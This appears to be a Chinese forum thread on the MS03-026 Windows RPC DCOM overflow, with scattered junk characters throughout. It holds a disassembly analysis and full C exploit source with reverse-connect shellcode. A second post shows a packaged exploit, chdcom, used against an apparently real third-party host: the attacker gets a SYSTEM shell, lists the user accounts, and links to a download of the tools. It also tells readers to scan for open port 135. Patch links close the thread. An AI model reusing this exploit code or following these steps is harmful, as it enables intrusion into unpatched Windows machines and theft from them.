LSD RPC 溢出漏洞之分析

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作者：FLASHSKY 2 i- o$ y# X4 |5 F T作者单位：启明星辰积极防御实验室 WWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM 邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com 6 Y/ J3 Z' B8 c% d感谢BENJURRY做测试，翻译和代码的通用化处理。 ' j n; z! s* Q' D8 [# q邮件：benjurry@xfocus.org / q1 [: y9 R# G! A; D1 p* H 1 S( e' f! `/ PLSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。 3 n0 T$ I+ Z: [- S) W% n; s导致问题的调用如下： 6 m0 f# v# M6 |4 r5 c* q" @hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); 这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了： 问题代码如下： GetPathForServer： .text:761543DA push ebp .text:761543DB mov ebp, esp / g! S3 {3 B# v* p.text:761543DD sub esp, 20h <-----0x20空间 .text:761543E0 mov eax, [ebp+arg_4] .text:761543E3 push ebx 3 @( m0 |4 V: z/ v( t.text:761543E4 push esi & y# O) B/ y7 f$ E- z.text:761543E5 mov esi, [ebp+hMem] .text:761543E8 push edi . s# N2 d9 Q" V% I8 l.text:761543E9 push 5Ch & D7 _7 }! w- z.text:761543EB pop ebx .text:761543EC mov [eax], esi : K. L4 X- t- E1 t5 D.text:761543EE cmp [esi], bx .text:761543F1 mov edi, esi 5 l/ K, ^. D' m$ G8 _) u.text:761543F3 jnz loc_761544BF 7 a8 \; d$ `; z$ @9 S+ S.text:761543F9 cmp [esi+2], bx , s1 z9 Z6 T9 z- T# k.text:761543FD jnz loc_761544BF - F$ [! K Z J- N9 z/ f.text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 .text:76154406 push 0 .text:76154408 push eax .text:76154409 push esi 〈----------------------我们传入的文件名参数 * [8 T- r2 V5 g7 a.text:7615440A call GetMachineName 。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 - s% w" e1 H6 v1 J8 t$ Q: B0 Y ) l" G( c" [) @1 f0 |; uGetMachineName: . R3 U, r. w7 ]8 ?1 X.text:7614DB6F mov eax, [ebp+arg_0] , s4 Z# O5 d1 n9 r.text:7614DB72 mov ecx, [ebp+arg_4] 1 x; a+ g* }$ R9 ^.text:7614DB75 lea edx, [eax+4] : D# k% [2 U* ?. o I+ _.text:7614DB78 mov ax, [eax+4] .text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C , B i7 u1 Y4 z* R2 ~.text:7614DB80 jz short loc_7614DB93 .text:7614DB82 sub edx, ecx @5 C0 I$ n! B$ X# r& P.text:7614DB84 6 S6 q$ x0 \0 s4 |.text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j .text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 8 l# @2 X% t5 u% y2 e' F2 c9 W3 E.text:7614DB87 inc ecx 6 h5 Z1 v) c2 j8 p( A+ x& k.text:7614DB88 inc ecx .text:7614DB89 mov ax, [ecx+edx] .text:7614DB8D cmp ax, 5Ch - X! B4 c% b& ^- A3 q.text:7614DB91 jnz short loc_7614DB84 * [0 D& d6 G4 z4 p.text:7614DB93 , K7 b, J4 f R' ^2 ?7 i: m & p( Z( Q6 u1 o* X( YOK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。 6 Q8 a& m% {% E" h7 L- F u; [! x下面就给出一个实现的代码，注意点如下： 9 O1 e% O( E" z, a1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。 ! `1 M' D& W) Y9 G2。这里使用了反向连接的SHELLCODE，需要先运行NC 3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 / ?1 r2 A+ j$ n. P5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 # ^! c# c) ^& L4 j! n, ]#include & Q$ k: y/ }5 G9 K#include #include ) ~4 l7 g. \; t% _5 Y6 x( r#include 7 s( E$ q w G) o, B- R#include #include ' X) J2 E( u: V3 Vunsigned char bindstr[]={ " o( b6 c5 A+ M4 u2 i0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, : @( P2 H- |) W5 ~8 z8 I" [' S) }# }) v3 h0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 3 h8 K* U4 u. b2 W0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 8 q' T/ ^. h* g8 }+ C0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; # X3 B3 u C& e5 f * t/ ?( J1 F) ?7 X* lunsigned char request1[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 % V7 [! c7 ~; Z5 N0 N8 G,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 ( f e0 {( ]5 f; I1 E+ W,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E , A5 V- S% }( m4 a. K,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 6 k) {+ [- |! h4 L) V6 z, e/ },0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 # `+ X. o% H# ^7 E; m,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 + u) Q+ ~2 o, r' T( w,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ) W/ v$ L$ x+ a _! s,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 9 p! |' ^- F% F& t1 v1 M( o,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 , X; M3 z( b) j1 F/ },0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 0 m* l, \; `- e,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 ) ?* ~0 f7 Z1 ]% @% s& \,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 6 ~) W8 t6 C1 r4 B5 `/ h,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 5 t- j- f. c* w: o9 H* q2 ]9 a,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 # H" w7 V9 |: M I,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 / \$ m9 J' `; D,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ; U4 x# F' l1 s" R( U' U" W,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 1 ]' B8 m/ u7 S0 T+ e# },0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 % x' r* ^4 D0 |# J) J) D,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 7 _) v5 c. a) }$ [5 C4 }' \. v,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 + D8 l: J0 N+ N) r,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 . S. Q" p' F) Z- W,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 / {7 w+ }2 H' F, k,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 B: r' a% V3 k( w* r2 U( j5 O,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 # v. q7 _ V/ ]' ?,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 8 o1 }; A' u; l0 P; p1 j# [,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 - M* ] ^0 k, g$ k,0x00,0x00,0x00,0x00,0x00,0x00}; # ~) G: h9 [/ a% K; O5 h$ tunsigned char request2[]={ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 0 d4 t9 Y5 S7 r! c) b9 V5 e,0x00,0x00,0x5C,0x00,0x5C,0x00}; ! W" Y- p8 I+ G/ t% M& Q 3 ~: i- k0 R& Y& S" runsigned char request3[]={ 0x5C,0x00 ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 8 ~- o+ ~) J$ X5 I. n,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 $ p) T9 _6 \: @* g6 q% R,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; 6 J# u* X5 ]1 r( S$ h" f& B unsigned char sc[]= % s) z7 ?0 c# Z1 F. c"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00" 8 D ?+ V" t p( W5 l- ?% P"\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动 "\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 & C* u/ u2 E) l) B, p# `8 b- C//下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 : d# z- F/ M* }. R9 r# n' G//SHELLCODE不存在0X00，0X00与0X5C 1 P; \9 S- e0 ?* U, ^1 f"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" 2 g8 c! S4 a: _ B"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" # u m1 v* m0 r+ b+ X0 K( ^"\x93\x40\xe2\xfa" // code 5 ^ S/ G& S" R, X$ x7 o+ K"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" "\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7" "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0" "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" . Y& @! ~+ U5 m5 E"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" Z' j! x" S" t @/ L1 n2 U1 o, u"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" "\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" "\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18" . q, b; Z% E3 H4 i"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92" "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" "\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" "\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" * i# Y* O; ^/ l& I5 W) _0 R"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" & ~1 y. g( ]& u" B- x1 A"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; , {# ]1 J% ~2 X- G! c2 t: j/ yunsigned char request4[]={ * D( S# m4 ~8 W# ]* m, ~- C0x01,0x10 ! |5 d6 [0 N0 b,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 - R* J& ~2 S- o, O s" o/ z,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C ' I3 s% I1 [4 Y,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 3 d+ E- A0 n4 g! B) Q}; / k0 R6 Q6 l% ?4 N: k" q1 P1 ] 2 v9 y4 x* E. \; c6 e6 K& Svoid main(int argc,char ** argv) { WSADATA WSAData; 7 l% U2 a5 L0 Z1 W& u0 a& ISOCKET sock; 7 X6 b" K }3 Z* o( l1 ^int len,len1; : Q3 ~+ U" s% z; HSOCKADDR_IN addr_in; 3 |8 o, o' c' }9 V: G" d; Hshort port=135; unsigned char buf1[0x1000]; unsigned char buf2[0x1000]; unsigned short port1; % I+ f3 T7 \: f9 Y2 v/ `7 H7 I( KDWORD cb; 6 {/ e* [& g* L& E: ~& M1 o5 } if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) 7 u6 ]3 B1 A* A6 C' O5 W# ~{ printf("WSAStartup error.Error:%d\n",WSAGetLastError()); 9 Q2 E8 o/ j6 A) @' Greturn; } & k: B8 E; H& G" d) d; ~ addr_in.sin_family=AF_INET; 2 L+ K# T6 U9 X3 e, _! {5 N8 g( r4 Uaddr_in.sin_port=htons(port); addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); 8 c. y% U" r/ t& \6 A% ^# q3 Z ( x# T4 n/ r8 U, m& Gif ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { 4 k: w, r3 y1 a- i- Uprintf("Socket failed.Error:%d\n",WSAGetLastError()); 9 \7 w9 a6 h5 j4 T& r4 T+ T2 greturn; 2 W) W- k& k* X& r} ( G' B; d$ V4 W+ C) d9 Qif(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) + J4 s# ~/ ~# {# Q2 q+ e{ 7 v1 j. G7 t" g% N" G6 _0 G* ?9 V8 g. Wprintf("Connect failed.Error:%d",WSAGetLastError()); return; ) I0 H! n, {% t) f/ L} * k4 d1 Q3 Z- `; V2 B sport1 = htons (2300); //反向连接的端口 1 J8 u4 N) v4 @* ~+ m! Iport1 ^= 0x9393; . P# f: a/ t; P% U kcb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210， cb ^= 0x93939393; *(unsigned short *)&sc[330+0x30] = port1; *(unsigned int *)&sc[335+0x30] = cb; len=sizeof(sc); memcpy(buf2,request1,sizeof(request1)); len1=sizeof(request1); 3 W3 v& A$ ^! h0 G Q5 ]*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 memcpy(buf2+len1,request2,sizeof(request2)); len1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); memcpy(buf2+len1,request3,sizeof(request3)); ! Q) h* e/ U% F2 o5 L7 glen1=len1+sizeof(request3); memcpy(buf2+len1,request4,sizeof(request4)); , Y; K( p' q) c* e/ W* Q1 Qlen1=len1+sizeof(request4); *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; //计算各种结构的长度 *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; ( t" H+ A- \' A7 ^* A8 F*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; , q) V7 | S. ~% c5 { b*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; 7 W$ |. J) U W: E" A( Uif (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) { 5 Q" N+ F( S3 H( q1 k8 e3 F fprintf("Send failed.Error:%d\n",WSAGetLastError()); . |/ m# p8 E2 @6 a4 ?return; 2 A' T4 b) L7 n/ N5 q$ ]} len=recv(sock,buf1,1000,NULL); $ i! C% x7 H2 S0 ^" }8 P5 V0 m# B& dif (send(sock,buf2,len1,0)==SOCKET_ERROR) { printf("Send failed.Error:%d\n",WSAGetLastError()); return; } / u" \" |3 c f- S, S8 Glen=recv(sock,buf1,1024,NULL); } ' _" ?$ e- T6 [ y补丁机理： 补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 补记： % S" U9 \" }2 d由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。

ASEE

攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 ( r1 g$ _' }$ [: p: gchdcom针对以下版本: - 0 Windows xp SP1 (cn) - 1 Windows 2000 SP3 (cn) - 2 Windows 2000 SP4 (cn) & |8 Q) U; |0 N- 3 Windows 2000 SP3 (english) . Z7 h7 _, Z$ N2 v7 w, w2 d/ ^- 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) % n5 H' {. Z( ~ g- |/ S, F+ l0 g! x- 6 Windows XP SP1 (english) Usage: chdcom cedcom针对以下版本: & H8 n2 X! f A: R- 0 Windows 2000 SP0 (english) % s Y* ~* D7 J/ r0 V. H- 1 Windows 2000 SP1 (english) - 2 Windows 2000 SP2 (english) 2 [4 F v+ G6 n9 C. {8 _3 C- 3 Windows 2000 SP3 (english) - 4 Windows 2000 SP4 (english) , J; {9 i6 N R; V8 T: U- 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) Usage: endcom 3 t% q; @. {, B, ]cygwin1.dll应用程序扩展 * ]: B* _, G1 C5 |/ Y& r溢出目标IP前.先用扫描器扫描开135端口的肉机. 我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， 比如说目标69.X.173.63开了135端口.Target ID是4 3 ~. D8 L; L) C, ZC:\dcom>chdcom 4 69.X.173.63 & s O7 ~1 T. b/ G( j. }2 a- @--------------------------------------------------------- ' ^7 @; X& u( S3 N' M7 J9 V- Remote DCOM RPC Buffer Overflow Exploit - Original code by FlashSky and Benjurry - Rewritten by HDM last 8 ~1 O" t9 N" {! m6 s- last by nic 6 j2 n0 M# r# ^0 Y3 _ a2 [! m-Compiled and recorrected by pingker! 7 n8 K& Y6 @! F- Using return address of 0x77f92a9b - Dropping to System Shell... - f7 k7 {# \& T- }/ F& P! @6 ?5 `Microsoft Windows 2000 [Version 5.00.2195] 8 X; r/ |+ r1 \' j(C) Copyright 1985-2000 Microsoft Corp. " K) @/ u, d7 s/ d1 A 5 W4 _7 G4 [2 j: O7 S: X9 [" dC:\WINNT\system32> 成功溢出. 0 s7 `5 m( z. ]$ y# rC:\WINNT\system32>net user 7 i9 ]+ a* j- j% \( n# Wnet user - P( r# m1 g4 R$ a' k User accounts for \ 7 l# ^# {( ^! E {3 U---------------------------------------------------------------------------- --- + Z3 n' O8 j* [7 S& fAdministrator ASPNET billbishopcom , }: k& N1 l5 Sdivyanshu ebuyjunction edynamic1 , U$ X$ Z, c* d- \; \) `" Pedynamic2 Guest infinityaspnet infinityinformations IUSR_DIALTONE IUSR_NS1 IWAM_DIALTONE IWAM_NS1 SQLDebugger " p" G/ @7 V( o0 u7 eTsInternetUser WO 7 z+ G, _1 g% B4 d' V/ K& vThe command completed with one or more errors. 这样一来你想干什么就是你的事了. 这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 重启才行. CN可以是繁体或简体中文颁本. & \' v S3 A9 g9 V+ w再次警告:不要对付国内主机!!!!!后果自负!!!! - b/ g' U. ~, ^0 r5 GXDcom.rar远程溢出攻击程序下载: 6 P/ ~7 @4 l. p4 Q: khttp://www.cnse8.com/opensoft.asp?soft_id=206&url=3

ASEE

补丁：
Windows NT 4.0 Server ：
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4 G3 M+ E$ n# e' J8 {0 [- yhttp://microsoft.com/downloads/d ... &displaylang=en
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Windows NT 4.0 Terminal Server Edition：

: m9 O' ?/ h  j9 w/ s9 ihttp://microsoft.com/downloads/d ... &displaylang=en

" [8 O  R% ^0 c4 X6 w9 Y( p- HWindows 2000：

http://microsoft.com/downloads/d ... &displaylang=en
（中文）http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117

Windows XP 32 bit Edition ：
, \' v4 |3 S3 \8 L; M/ t' p
http://microsoft.com/downloads/d ... &displaylang=en
/ y) Z. S) z+ N' l+ F. P! j
Windows XP 64 bit Edition：

